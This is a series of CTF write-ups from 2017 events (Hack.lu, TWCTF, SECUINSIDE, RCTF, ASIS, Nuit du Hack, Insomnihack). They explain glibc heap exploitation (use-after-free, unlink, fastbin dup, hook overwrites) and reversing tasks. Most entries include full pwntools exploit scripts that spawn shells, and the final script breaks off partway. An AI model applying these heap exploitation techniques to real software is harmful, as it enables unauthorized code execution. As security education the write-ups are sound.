Hack.lu 2017 HeapHeaven Write up

I was busy with some other stuff and didn’t get a chance to try out this challenge. One of my team-mates was trying it out, but he couldn’t finish the exploit in time.

So, I tried the challenge after the CTF and here’s the write up.

Here’s the protections enabled on the binary

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

This is again a menu driven program that allocates chunks on the heap with functionalities like add, remove, edit and view.

The program starts off by allocating a chunk of size 10 on the heap whose address is stored in a global variable.

The peculiarity of this binary is that it uses a parse_num function to get integer values from the user. The parse_num function parses a 256 length string and returns a 64 bit value.

It does this by using a counter to count the number of some characters are present in the string. If the character ‘w’ is present in an even offset, then the value of counter is doubled. And if the character ‘i’ is present at an odd offset, right after ‘w’, then the counter is incremented by 1. Using a combination of ‘w’ and ‘i’, we can control the return value of parse_num.

Now, the other peculiarity of this binary is that, it reads in input by asking an offset from the user. The input is being read in by a function that is similar to a gets function. The offset is taken from the first chunk that was allocated and stored in the global variable.

Similarly, the view functionality prints out a string at an offset specified by the user and the remove functionality free’s a chunk at an offset which is user specified.

Since parse_num returns a 64 bit value, we can access any address in the process’s memory space provided we have some memory leaks first.

Getting memory leaks in this case shouldn’t be an issue.

Once we have a memory leak of the heap and the libc, we can calculate the offset to __free_hook and edit its value to system.

Once that is done, all that’s left is to free a chunk which contains ‘/bin/sh’ which will lead to system being invoked with the same.

Here’s the script.

from pwn import *

prompt = 'NOM-NOM\n'
a, v, e, r = 'whaa!', 'mommy?', '<spill>', 'NOM-NOM'


def get_string(size):
    payload = ''
    val = size
    while val > 0:
        if val % 2 == 0 and val/2 > 0:
            payload += 'aw'
        elif val % 2 == 1 and val/2 > 0:
            payload += 'iw'
        val = val/2
    payload += 'iw'
    retval = payload[::-1]
    if retval[-1] == 'a' and retval[-2] == 'w':
        retval = retval[:-1]
    return retval


def allocate(size):
    p.sendlineafter(prompt, a)
    p.sendlineafter('darling...\n', get_string(size))


def view(offset):
    p.sendlineafter(prompt, v)
    p.sendline(get_string(offset))
    p.recvuntil('darling: ')
    return p.recvline().strip('\n')


def edit(offset, payload):
    p.sendlineafter(prompt, e)
    p.sendlineafter('?\n', get_string(offset))
    p.sendlineafter('!\n', payload)


def remove(offset):
    p.sendlineafter(prompt, r)
    p.sendline(get_string(offset))


if __name__ == '__main__':
    p = process('./HeapHeaven', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
    allocate(10)
    allocate(0x80)
    allocate(10)
    remove(0x20)
    remove(0x40)
    remove(0xd0)
    heap = u64(view(0xd0).ljust(8, '\x00')) - 0x10
    log.success('Leaked heap @ {}'.format(hex(heap)))
    libc.address = u64(view(0x40).ljust(8, '\x00')) - 0x3c4b78
    log.success('Leaked libc @ {}'.format(hex(libc.address)))
    offset = libc.symbols['__free_hook'] - heap
    log.progress('Offset => {}'.format(hex(offset)))
    allocate(10)
    edit(0xd0, '/bin/sh\x00')
    edit(offset, p64(libc.symbols['system']))
    remove(0xd0)
    p.recvline()
    p.interactive()

TWCTF 2017 simple note writeup

During the CTF, simple_note and simple_note_v2 were released. I’ll be explaining the first one here.

Initial analysis reveals that PIE and FORTIFY are disabled and everything else is enabled.

The binary is a menu driven program that allows us to add, view, edit and remove notes. Each note is a buffer that is allocated on the heap of user determined size. The only constraint of the size is that it must be greater than 127 bytes.

The indexes are properly checked to prevent out of bounds access.

The input isn’t null terminated, so we can leak out data from the heap. Using this, we can leak out the address of the main arena and the heap.

The vulnerability in this binary is a buffer overflow in the edit functionality.

The code is something like this

len = strlen(list[idx]);
read_string(list[idx], len);

The prev_size field of a chunk is only used if the previous chunk is free. Otherwise, it can be used for other purposes such as storing some sort of data. This is a feature of malloc which makes sure that the amount of memory that goes unused is minimal. So in such a situation, the user input will end just before the size field of the successor chunk.

1

We can force such a situation to occur by requesting 0x88 bytes. The size of the chunk returned will be 0x91. Subtracting 16 bytes for the metadata, we’re left with 0x80 bytes where we had requested 0x88 bytes. The remaining 8 bytes will be the prev_size field of the chunk that lies next to this one.

So, when we use the edit functionality, strlen will add the length of the size of the next chunk along with the length of user input. And we can edit the size field of the next chunk.

Cool. So what now ?

My first thought was to try the House of Einherjar and get a chunk allocated in the BSS section. But the binary was not storing input anywhere other than the heap. So that was out of the question.

However, using the House of Einherjar, we would be able to get a chunk that overlaps other chunks. (This is one method to do this. You can achieve the same by tweaking the size field of a chunk and freeing it)

My next idea was to use this overlap to corrupt the fd and bk pointers of a free chunk to perform a House of Orange attack. But for that to work, the final request to malloc should be of size lesser than 0x80 which is not allowed by the binary. So that is another dead end.

And that is where I got stuck during the CTF. After the CTF, I read some writeups and got the idea behind the exploit.

We can modify the fd and bk pointers of a free chunk to point to the table of notes in the bss.

The only requirement is that the sanity check that was introduced to prevent the unlink corruption.

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

So, FD+0x10 should contain a pointer to P and BK+0x18 should also contain a pointer to P.

The table only contains pointers to chunks that are in use. So, that means, we’d have to trick malloc into thinking that an in use chunk is free.

Here, we use the overflow for a second time.

We edit the size field of an in use chunk and unset the PREV_INUSE bit. Now since the previous chunk is indicated as free, the prev_size field has to be properly set.

We can set it to a value such that P-prev_size is user controllable and such that the table contains a pointer to P-prev_size.

We can set the prev_size field such that P-prev_size points to the data section of the overlapping chunk.

And in the data section, we create a fake chunk with fake prev_size, size, fd and bk values.

Assume the table contains the pointer to this chunk at an address x.

The fd of this fake chunk should be x-0x10 and bk should be x-0x18.

Now, freeing the small chunk would cause backward coalescing which in turn invokes the unlink macro which performs our overwrite.

Once that is done, one of the entries in the table should be a pointer to an address in the table.

We can use the edit functionality to modify the entry to point it to the GOT table.

And use the edit functionality on this edited entry to overwrite a GOT entry with the address of system.

You might have to try this out to understand the working.

Here’s the script anyways

from pwn import *

prompt = "Your choice: "
add, delete, show, edit = "1", '2', '3', '4'
table = 0x6020C0

def add_note(size, payload):
    p.sendlineafter(prompt, add)
    p.sendlineafter("size: ", str(size))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

def delete_note(idx):
    p.sendlineafter(prompt, delete)
    p.sendlineafter("index: ", str(idx))

def show_note(idx):
    p.sendlineafter(prompt, show)
    p.sendlineafter("index: ", str(idx))
    p.recvuntil("Note: \n")
    p.recvline()
    note = p.recvline().strip()
    return ("\x00"+note).ljust(8, '\x00')

def edit_note(idx, payload):
    p.sendlineafter(prompt, edit)
    p.sendlineafter("index: ", str(idx))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./simple_note", env={"LD_PRELOAD": "./libc.so.6"})
    else:
        p = remote("pwn1.chal.ctf.westerns.tokyo", 16317)
    libc = ELF("./libc.so.6")
    e = ELF("./simple_note")
    #
    # First, let's start with the leaking
    #
    add_note(0x88, 'A'*0x80)
    add_note(0x88, 'A'*0x88)
    delete_note(0)
    add_note(0x88, 'A'*8)
    libc.address = u64(show_note(0)) - 0x3c4b00
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    #
    # Now let's create a few chunks
    #
    for x in xrange(4):
        add_note(0x88, 'A'*0x88)
    #
    # Use the single byte overflow to corrupt size field
    #
    edit_note(1, 'A'*0x88+'\xf1')
    #
    # Make sure that there is a valid chunk at the end of this corrupt chunk
    #
    payload = fit({0x50: p64(0)+p64(0x21),
                   0x70: p64(0)+p64(0x21)})
    edit_note(3, payload)
    #
    # Free the corrupted chunk
    #
    delete_note(2)
    #
    # Now we get that chunk allocated back to us
    # There is a pointer to the data section of this chunk in the table
    # We can set up a fake chunk in the data section.
    # And use the pointer in the table as a fake fd and bk pointer
    # So table+0x18 will be overwritten with table
    #
    payload = fit({0x90: p64(0)+p64(0x111)+p64(table)+p64(table+8)})
    add_note(0xe8, payload)
    #
    # Unset the prev_inuse to force coalescing
    # Which will lead to unlinking
    #
    payload = fit({0x80: p64(0x110)+'\x90'})
    edit_note(4, payload)
    #
    # Now trigger the unlink by freeing the chunk
    #
    delete_note(5)
    #
    # Now table+0x18 has been overwritten with the base address of the table
    # We can now edit the first pointer in the table
    #
    edit_note(3, p64(e.got['free'])[:4])
    #
    # Now editing the contents of the first table entry
    # Allows us to overwrite the GOT table
    #
    edit_note(0, p64(libc.symbols['system'])[:6])
    #
    # Just create one more chunk to be free'd immediately
    #
    add_note(0x80, '/bin/sh\x00')
    #
    # Trigger system by calling free
    #
    delete_note(5)
    p.interactive()

SECUINSIDE CTF 2017 babyheap Write up

This challenge was a pretty good one considering the idea behind the whole exploit. Hence the reason I decided to put up a detailed write up on it.

Starting with the mitigations enabled on the binary

$ checksec babyheap

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

There are mainly two structures that are used by the program. One is a team and the other is an employee. Every team object is placed in a table that lies in the bss segment of the binary.

The team object contains a pointer to a buffer allocated on the heap, a pointer to a table of employee objects ( the table is again on the heap ) and the count of employees in the table.

Creating a team object allocates 0x18 bytes for the object itself, and arbitrary number of bytes for the description. User input is then read into the description. The counter and the table pointer are set to NULL.

There are functionalities to print out the details of each team and remove teams and a manage team functionality as well.

In the remove functionality, only the pointer to the object is freed. The description and the contents of the table along with the table remain in use (from malloc’s point of view). There are no UAF vulnerabilities here since the pointer to the object gets nulled out right after freeing it.

The manage functionality allows us to manage the employee objects ( if any) in the team objects table. We can add employees, remove them, edit their contents and list out the contents.

Every employee object is of size 200. The first 100 bytes are reserved for description and the next 100 bytes are for the employee name.

Every time you add an employee, the table that is contained in the team object gets realloc’d with the arguments being the old table pointer and the new size.

Removing an employee object clears the entry in the table as well. However, removing an entry does not decrement the counter.

So, let’s start pwning this binary.

The first thing I looked for was a way to leak memory.

We can leak the heap and the libc but only the libc address will be required for this challenge.

Assuming we’ve created a team, we can add two members (the second one is to prevent coalescing with top chunk) with some random names. Since each of those objects are of size 0xC8, removing any one will insert the chunk into the free list. Now we can create another team with description size 0xC8 and the same chunk will be returned back to us.

And printing out the description of the new team will leak out a pointer from which we can calculate the base address of the libc.

So, since that’s done, we can move on to corrupting something.

There are no overflows that I could find, no apparent use-after-free’s. But if you look closely at the part of the code where the table gets realloc’d we see something that can be used.

1

R12 contains the pointer to the team object. So, program only considers the last byte of the count of employees.

So if the total count were 0xff and we add another employee, the value of r15b would be 0x0. And something I read about realloc from its man page is that a call to realloc with the second argument set to 0 implicitly calls free with the same first argument.

So there’s our UAF.

Allocating another team with description size 0x7f0 ( the size of the table when there were 255 entries) would return a pointer to the table.

I decided to overwrite the first entry in the table with a pointer to the __free_hook. So editing the first employee description would allow me to edit the __free_hook with whatever I wanted ( for example, the address of system).

Now removing any employee with description set to “/bin/sh” would lead to system being invoked with the same string as argument.

And well, that’s all there is to it. Here’s the script.

from pwn import *

prompt = ">"

def return_to_menu():
    p.sendlineafter(prompt, "5")


def add_member(num, names, desc, flag=False):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("employment :", str(num))
    if flag is True:
        return
    for x in xrange(num):
        p.sendlineafter("Name :", names[x])
        p.sendlineafter("Description :", desc[x])


def remove_member(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def edit_member(idx, payload):
    p.sendlineafter(prompt, "4")
    p.sendlineafter("Index :", str(idx))
    p.sendlineafter("Description :", payload)


def manage_team(idx):
    p.sendlineafter(prompt, "3")
    p.sendlineafter("Index :", str(idx))


def create_team(len, desc):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("length :", str(len))
    p.sendafter("Description :", desc)


def remove_team(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def list_teams(num):
    p.sendlineafter(prompt, "4")
    for x in xrange(num):
        p.recvuntil("Description : ")
    leak = u64(p.recv(6).ljust(8, "\x00"))
    return leak


if __name__ == "__main__":
    p = process("./babyheap")
    create_team(0x20, "aaa\n")
    manage_team(0)
    #
    # obj[0] is desc
    # obj[1] is num_employees
    # obj[2] is table of employees
    #
    # The total number of employees should be 0xff.
    #
    names = ["/bin/sh\x00" for x in xrange(255)]
    add_member(255, names, names)
    #
    # Removing an employee doesn't decrement the counter
    #
    remove_member(0)
    return_to_menu()
    #
    # Each employee object is of size 0xC8.
    # Deleting an employee puts the object in free list.
    # Allocating another team with description size 0xC8
    # returns that chunk.
    #
    create_team(0xC8, "\n")
    libc = list_teams(2) - 0x3c4b0a
    free_hook = libc + 0x3c67a8
    system = libc + 0x45390
    log.success("Leaked libc @ {}".format(hex(libc)))
    #
    # Adding one more member makes total = 0x100
    # realloc is called with last byte of total
    # realloc(table, 0) => free(table)
    #
    manage_team(0)
    add_member(1, ["blah"], ["blah"], True)
    return_to_menu()
    #
    # Now we use the create_team function
    # with size of description = 0x7f0
    # So the table will be allocated back to us
    # And we can edit the pointers
    #
    create_team(0x7f0, p64(free_hook))
    #
    # Now we can use the edit functionality of team 0
    # and edit the free hook to point to system.
    # And call free with a block that contains /bin/sh
    #
    manage_team(0)
    edit_member(0, p64(system))
    #
    # Now we've changed the free hook to system
    #
    remove_member(4)
    #
    # And here's the shell
    #
    p.interactive()

RCTF 2017 aiRcraft Write up

I didn’t have the chance to actually play the CTF, but wanted to try out the challenges nevertheless. This one was a really interesting challenge and had me spending some time on it.

One of the reasons why this is a great challenge is that I ended up using a combination of three heap vulnerabilities to get a shell ( UAF -> Unlink -> Fastbin ). I don’t think my method is the easiest, but I’ll explain it here.

Let’s start by checking the mitigation techniques enabled on the binary.

$ checksec aiRcraft

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Now onto the functioning of the binary.

The binary has mainly two structures. One of them is used to represent a plane and the other is used to represent an airport ( and so they shall be called as such).

A object of plane can be summarised as follows

struct plane {
char name[32];
char *company;
airport *ptr;
plane *prev;
plane *next;
void (*fun_ptr) (plane *ptr);
}

And an object of airport is as follows

struct {
char *name;
plane planes[16];
}

We are allowed to build airports, buy planes, fly planes to airports, list planes in an airport, sell planes, sell airports.

Every plane bought is appended in a doubly linked list ( the head is another object that lies in the bss). After creating an object of plane, it’s function pointer is initialised to a function which calls free with the same argument that it was called with.

Every airport built is placed in a table that lies in the bss segment. The name pointer is initialised to a chunk on the heap whose size we can control.

If we fly a plane to an airport, the plane’s ptr variable get’s initialised to the airport object. At the same time, the airport enters the pointer to the plane in its own array of planes.

Selling an airport does the following:

  • Unlink every plane that is currently in the airport and then free the plane.
  • Free the pointer to the airport.

This method misses out two things, 1) It doesn’t free the name pointer of the airport and 2) The pointer to the airport still lies in the table ( UAF).

Selling a plane does the following:

  • Unlink itself from the linked list.
  • Call the function pointer with itself as argument.

Now onto the idea of the exploit.

First thing I usually look for is a memory leak. In this case, the leak happens by exploiting the UAF vulnerability.

Here’s the idea

  1. Build an airport.
  2. Buy two planes.
  3. Sell one plane.
  4. Fly the other to the airport.
  5. Sell the plane.

Now, since the size of a plane object is 0x51, it will be put into a fastbin. The object freed second will contain a pointer to the other. Since the plane freed second is in the airport, we can leak it out by calling the list option of the particular airport.

And that gives us a heap address leak.

Now, the size of an airport object is 0x91 which mean’s that it is not going to be put into a fastbin. So freeing an airport object will put the object into a linked list of free chunks. If there is only one chunk in the linked list, it will contain a pointer to the main arena which lies in the libc’s bss.

Now, every plane object has a pointer to the company. So if we can overwrite that pointer to point to the freed airport object, we can leak out a libc address.

Keep in mind that the first airport contains a pointer to a free chunk of size 0x51 which it assumes to be a plane object.

So here’s idea for the leak.

  1. Build a dummy airport and free it (Pointers to main arena are now set).
  2. Build an airport with size of name = 0x48. (Now the address of the old plane object gets returned as the name).
  3. The name of this airport should contain a pointer to the dummy airport at the offset where the company pointer should have been.
  4. List the details of the planes from the first airport.

And there’s the libc leak.

Now that we have that, we can start pwning this binary.

A new vulnerability opens up with the UAF. It’s the old unlink vulnerability that is present in the unlink function. With that, we can perform an arbitrary 8 byte write anywhere.

The first thing I thought was to overwrite the address of system in the function pointer of a plane, but that would only lead to a segfault ( Try it out if you don’t believe me).

We need some other method to overwrite the function pointer.

That’s where the final fastbin part comes into play.

If we could get a chunk allocated that lies inside a plane object, we could overwrite its function pointer. To do that, we’d have to control the next pointer of a chunk in the fastbin. Better yet, why not just overwrite the main arena itself ?

So the steps boil down to the following.

  • Buy a plane with name set to “/bin/sh”  followed by 0x51( We plan to overwrite this one’s function pointer)
  • Buy a new plane, fly it to the first airport and sell the plane.
  • Build a new airport with size of name = 0x48.
  • Name should contain proper addresses of main arena and an address inside the target plane as next and prev pointers.
  • Now sell the airport ( And we’ve corrupted the fastbin).

At this point, what I did was to buy another plane which messed up. Since the plane that was already in the linked list had corrupted pointers that were used in the unlink exploitation part. So appending the new plane crashed the binary.

So the next step is to actually build an airport with size of name = 0x48 and the address of system at the correct offset.

Once that is done, sell the bloody plane and wait for a shell to magically pop up.

Phew! There are a couple of things that might happen while trying out this method. I leave those to the reader to find out themselves.

Anyways, here’s the script

from pwn import *
import sys

prompt = "Your choice: "
buy, build, enter, select = "1", "2", "3", "4"
show, sell_a = "1", "2"
fly, sell_p = "1", "2"


def buy_plane(company, name):
    p.sendlineafter(prompt, buy)
    p.sendlineafter(prompt, str(company))
    p.sendlineafter("name: ", name)


def build_airport(length, name):
    p.sendlineafter(prompt, build)
    p.sendlineafter("name? ", str(length))
    p.sendlineafter("name: ", name)


def enter_airport(idx):
    p.sendlineafter(prompt, enter)
    p.sendlineafter("choose? ", str(idx))


def show_planes(idx, flag=False):
    enter_airport(idx)
    p.sendlineafter(prompt, show)
    p.recvuntil("Plane name: ")
    if flag is False:
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    else:
        p.recvuntil("Build by ")
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    p.sendlineafter(prompt, "3")
    return msg


def sell_airport(idx):
    enter_airport(idx)
    p.sendlineafter(prompt, sell_a)
    p.recvline()


def select_plane(name):
    p.sendlineafter(prompt, select)
    p.sendlineafter("choose? ", name)


def fly_plane(name, idx):
    select_plane(name)
    p.sendlineafter(prompt, fly)
    p.sendlineafter("fly? ", str(idx))
    p.sendlineafter(prompt, "3")


def sell_plane(name):
    select_plane(name)
    p.sendlineafter(prompt, sell_p)


if __name__ == "__main__":
    p = process("./aiRcraft")
    #
    # Leaking heap address
    #
    build_airport(20, "myairport")
    buy_plane(1, "dummy")
    buy_plane(1, "myplane")
    sell_plane("dummy")
    fly_plane("myplane", 0)
    sell_plane("myplane")
    heap = show_planes(0) - 0xb0
    #
    # Leaking libc address
    #
    build_airport(20, "dummy")
    build_airport(20, "dummy2")
    sell_airport(2)
    sell_airport(1)
    payload = fit({32: p64(heap+0x160)*3}, length=0x47, filler="\x00")
    build_airport(0x48, payload)
    libc = show_planes(0, True) - 0x3c3b78
    system = libc + 0x45390
    #
    # Exploit unlink vulnerability to corrupt fastbins
    #
    sell_airport(3)
    # target is main_arena+32 = libc + 0x3c3b40
    target = libc + 0x3c3b40
    # source is lastplane's address = heap + 0x218
    source = heap + 0x218
    buy_plane(1, "lastplane")
    fly_plane("lastplane", 0)
    sell_plane("lastplane")
    payload = fit({48: p64(target-56)+p64(source)}, length=0x47)
    build_airport(0x48, payload)
    buy_plane(1, "/bin/sh\x00"+p64(0)+p64(0x51))
    sell_airport(0)
    build_airport(0x48, "A"*8)
    payload = fit({24: p64(heap+0x400)+p64(0)+p64(system)}, length=48)
    build_airport(0x48, payload)
    sell_plane("/bin/sh")
    p.interactive()

 

Asis CTF Quals 2017 CaNaKMgF write up

Solved by 4rbit3r

This time, ASIS Quals was held almost the same time as my exams. But I still managed to find time to play the CTF. This is one of the challenges that I found pretty interesting.

Most of the CTF’s nowadays have this challenge where you are given a menu driven program and you’re supposed to wreak havoc using the functionalities that it provides.

The idea behind these challenges is to check how good your knowledge of dlmalloc is. I’m still learning a lot of new stuff from every write-up I read of some challenge that is of a similar type.

So let’s start pwning this bin.

The same binary was given as two separate challenges. The second one only differed from the first in terms of protections enabled. The second had PIE and Full RELRO enabled whereas the first one didn’t.

So I’ll explain a method that can be used for both of the challenges. And after that I’ll explain how I actually solved the first one during the CTF.

Firstly, let’s start with the functionalities provided.

  • do_allocate : Ask user for size. Call malloc with size as argument and fill the chunk returned with user input (Max of size bytes). The pointer is then stored in a table of such pointers.
  • do_write : This function prints out the content of any filename that the user wants. But this functionality was removed in the second binary. This isn’t really relevant to the solution whatsoever.
  • do_free : As the name suggests, this free’s a chunk that the user specifies. Note that the table entry doesn’t get zeroed out. Possibility of a UAF.
  • do_read : Prints out the content of any entry in the table.

So, we have a UAF vulnerability. We can use that to force malloc to return an arbitrary pointer. But then we’d be in need of a memory leak. Let’s do that first.

The do_read function prints out the content of any table entry regardless of whether it has been free’d or not.

So we can abuse the fact that free chunks contain FD and BK pointers. If it is the only chunk in the linked list, then the FD and BK should be pointing to the main_arena. So we can use the do_read functionality to leak out the libc.

There is also a method to leak out the heap address. Although it isn’t really useful for this challenge, I’ll just explain it.

The simplest way would be to allocate two chunks of same size (smaller than 0x80). These chunks, if free’d would end up in the Fastbins. Now the fastbins are a group of singly linked lists. So if both of the chunks free’d are of the same size, then one of those would contain a pointer to the other. We could then use the do_read functionality on the last free’d chunk and leak out a pointer to the heap.

Alright, so we can now move on to the second part which would be forcing malloc to return an arbitrary pointer. Since PIE is enabled, performing a GOT table overwrite is out of the question. Full RELRO simply adds to that. So a viable target that can be overwritten is the __malloc_hook.

This is a function pointer that lies in the libc’s bss section. Usually, the value is null. If the value isn’t null, then the function pointer is invoked at every malloc or free.

So our objective would be to overwrite the __malloc_hook with something that would lead to a shell. Now in order to do that, we can use the fastbins method. We could overwrite the next pointer of one of the chunks in a fastbin. That would trick malloc into thinking that there is one more chunk in the fastbin. So requesting a size which is in the same size range as that of the chunk in the fastbin, would make malloc return the address that we control.

The only condition that has to be met is that the size has to be correctly set. It might be difficult to find some location with the correct size. So what we can do is use a pointer that one can easily find in libc’s bss. Every address starts with 0x7f followed by 5 more bytes. So, we can use an address such that only the 0x7f is considered as size.

Normal view.

Screenshot from 2017-04-19 18-44-45

What we’ll be using is this

Screenshot from 2017-04-19 18-47-37

You can see that, if we chose to view the memory 5 bytes misaligned, the size byte is correctly set. Malloc doesn’t put a constraint upon alignment or the precision of the size. So a size of 0x7f will pass the checks of a fastbin chunk of size 0x71.

Now to actually getting a arbitrary chunk returned by malloc in this situation, we can use the UAF vulnerabitlity. Allocate two chunks, free both of them. Free the first one again. Now allocate another chunk.

At this point, the same chunk will be under the user’s control as well as in the fastbin. So the next pointer is under the control of the user.

So, once all that is done, and we’ve got control over the __malloc_hook, the next question is what do we overwrite this pointer with ?

We’ve only got control over RIP, so the easiest method would be to use a One-Shot-RCE gadget.

To do that, you can use the one_gadget tool that I’ve found to be really helpful.

Once you’ve overwritten __malloc_hook with the address of the One-Shot-RCE, all that is left is to call malloc or free and wait for the shell to magically pop up.

I couldn’t land a shell by calling malloc, probably because of some constraints that weren’t met. But calling free did the trick.

Here’s the script.

from pwn import *
import sys


def allocate(size, payload):
    p.sendlineafter("away\n", "1")
    p.sendlineafter("? ", str(size))
    p.sendline(payload)


def remove(idx):
    p.sendlineafter("away\n", "3")
    p.sendlineafter("? ", str(idx))


def leak(idx, flag=False):
    p.sendlineafter("away\n", "4")
    p.sendlineafter("? ", str(idx))
    if flag is True:
        return 0
    msg = u64(p.recvline().strip().ljust(8, "\x00"))
    return msg


if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./remastered")
    elif sys.argv[1] == "remote":
        p = remote("128.199.85.217", 10001)
    allocate(2000, 'asdf')
    allocate(2000, 'asdf')
    remove(0)
    libc = leak(0) - 0x3c3b78
    log.success("Leaked libc @ {}".format(hex(libc)))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    remove(3)
    remove(2)
    remove(3)
    malloc_hook = libc + 0x3c3aed
    one_gadget = libc + 0xef6c4
    allocate(0x60, p64(malloc_hook))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    payload = fit({0x13: p64(one_gadget)})
    allocate(0x60, payload)
    remove(0)
    remove(0)
    p.interactive()

And well, that gave a shell.

Now onto the solution that I had used for the first bin.

I decided to use the same 0x7f method and tricked malloc into returning a pointer to the GOT table. After that, I went ahead and overwrote the GOT entry of strtoul with the address of system. The functionality we wish to choose is done by a read followed by a strtoul. So if I gave a string ‘sh’ as input, strtoul would be invoked with that and shell.

That works too. But this is the cleaner exploit and so it’s the only one I’m putting up here.

Nuit Du Hack CTF 2017 Quals Matriochka Write up

This was a reverse engineering challenge that consisted of 4 parts. I’ll just be describing part 2 over here. If I manage to solve part 3, I’ll update that too.

Part 1 was really simple. All you need to do is to run an ltrace and you’ll see that argv[1] is being reversed and then compared with a string “Tr4laLa!!!”.

So once you pass step1, the binary then goes on to decrypt and print out the step2 binary.

Step2.bin is relatively trickier. Taking a quick look at the CFG might suggest that this is another job for angr. But that’s where the challenge slaps you across your face.

The first few BBL’s are verifying whether the argv[0] is “./step2.bin”. After those checks, it goes on to check if  length of argv[1] is 33 argv[1][0] is “W”. That gives us the length and first character of our flag. Next it goes on to do some messed up operations.

This is the part where it gets tricky.Screenshot from 2017-04-05 14-32-22

At the time of execution of the first instruction, rax contains a pointer to a copy of our argument stored in the heap via an strdup call. Also, a copy of rax is saved in r12. So rbx contains the pointer to the byte at offset 1 of our input.

It then calls these functions, sigfillset and sigaction. After a bit of googling, I found out the reason behind the usage of sigfillset and sigaction.

Usually, when you wish to add signal handlers for multiple signals, there might arise a scenario where two signals are caught. The first signal causes the appropriate signal handler to be invoked. Now if the second signal is caught while the signal handler of the first signal was being executed, that causes trouble. Hence, the method that is usually followed to avoid this scenario is to block all signals if a signal handler is being executed. Sigaction decides which all signals to block based on a data structure called set. Sigfillset basically fills this set with all signals. So a combination of these two simply blocks all new signals if a signal handler is under execution.

Now that that’s clear, lets get back to the code. The signal handler is assigned to the signal identified by 5 which is the SIGTRAP signal. There are two signal handlers in this code ie inc_byte and dec_byte. The signal handler assigned is dependent on the value of the LSB of the byte at rbx-1.

So what happens here is that, after the signal handler is set for SIGTRAP, the program executes an int 3 instruction. The int 3 instruction basically generates the SIGTRAP signal. This causes the signal handler to be invoked. The signal handler in turn does either an inc [rax] or dec [rax] and returns.

This process is repeated until a counter , initialised to 0, becomes equal to [rbx-1].

So basically, inp[1] becomes inp[1]-inp[0] or inp[1]+inp[0] depending upon the LSB of inp[0].

This whole process is then repeated until all the characters of the input have been changed this way.

What happens after this is a basic xoring and comparing with some fixed values in the bss segment. If our input passes all those checks, we get the “Well done” string printed out along the the step3.bin.

So, the first thing I did was to use angr to find out the values that could pass the final xoring and comparing blocks. And that angr did very well.

Now I had a string which was the result of the increment/decrement loops. Keep in mind that we already know the first byte of the flag. So what’s left is to whip up a simple script that can reverse the functionality of this loop.

And after that’s done. We’re left with the flag and the next challenge.

Anyway, here’s the script.

import angr


def get_constant():
    p = angr.Project("./step2.bin", load_options={'auto_load_libs': False})
    s = p.factory.blank_state(addr=0x4008DB)
    val = s.se.BVS('val', 33*8)
    s.memory.store(0x6335b0, val)
    s.regs.r12 = s.se.BVV(0x6335b0, 64)
    pg = p.factory.path_group(s)
    pg.explore(find=0x400906, avoid=0x4009BC)
    for pp in pg.found:
        return pp.state.se.any_str(val)


def get_arg(out):
    result = "W"
    for x in xrange(1, len(out)):
        c = out[x-1]
        d = out[x]
        flag = ord(c) & 1
        if flag == 1:
            result += chr((ord(d)+ord(c)) % 256)
        else:
            result += chr((ord(d)-ord(c)) % 256)
    return result


if __name__ == "__main__":
    out = get_constant()
    arg = get_arg("W"+out[1:])
    print arg

Flag : When_i_grow_up,_I_will_be_a_flag

Insomnihack Teaser 2017 Bender_safe Writeup

This was the first of a 3 part challenge that contained flags for each part.

The first part is a  reversing challenge. The given files are a MIPS-32 bit executable and an emulator for the same. I had to refresh a what was left from my memory on MIPS architecture. And then a lot of googling also took place. But in the end, it was a challenge that I enjoyed doing.

Going through the code of main function, we see that there are a lot of functions being called. Of those, a few functions are of importance to us. Namely:

  1. doshuffle.
  2. validate.
  3. get_first_flag.

Obviously, we need to get to the get_first_flag function. So now let’s try and figure out what the binary actually does.

It calls opens /dev/urandom and reads 8 bytes from it and stores it in a buffer. This buffer is then used by the doshuffle function to create a string of lenth 16. I spent a lot of time trying to figure out what the doshuffle function did (and eventually developed a pseudo-code). I had thought that we needed to figure out the value of the 8 byte random value from the string being printed out to us. I was too lazy to actually reverse the functionality of the doshuffle function. So instead I patched the binary. I changed the string ‘/dev/urandom’ to a file that I created and filled with 8 ‘A’s. So now, the random value read in and the string generated by the doshuffle function will be constant. And then, trying the input of 8 “A”‘s, we find that it’s not what we need to pass the validate function.

So after that, I moved on to the validate function. In spite of being a very large function, what it does is very simple. It multiplies a lot of constants around and finally stores a value at a particular location. Since none of our input comes into the equation, we can say that those values will be constant in every execution. So, then the validate function boils down to a simple comparison between the user input and the string printed out.

Using a debugger, we can easily set breakpoints at those locations, and identify the constraints on our input with respect to the string being printed out. Once, we’ve finished that, we can easily write a script that creates a string that can pass all the checks of the validate function.

And well, here’s the script:

from pwn import *

mychars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
HOST, PORT = 'bender_safe.teaser.insomnihack.ch', 31337


def findstr(chall):
    final_str = ''
    final_str += chall[0]
    final_str += chall[15]
    if chall[7] >= 'A':
        a = ord(chall[7]) ^ ord('K') ^ 0x61 ^ 10
        final_str += str(chr(a))
    elif chall[7] < 'A':
        a = ord(chall[7]) ^ (0xffffffa6) ^ (0xffffff99) ^ (0x7f)
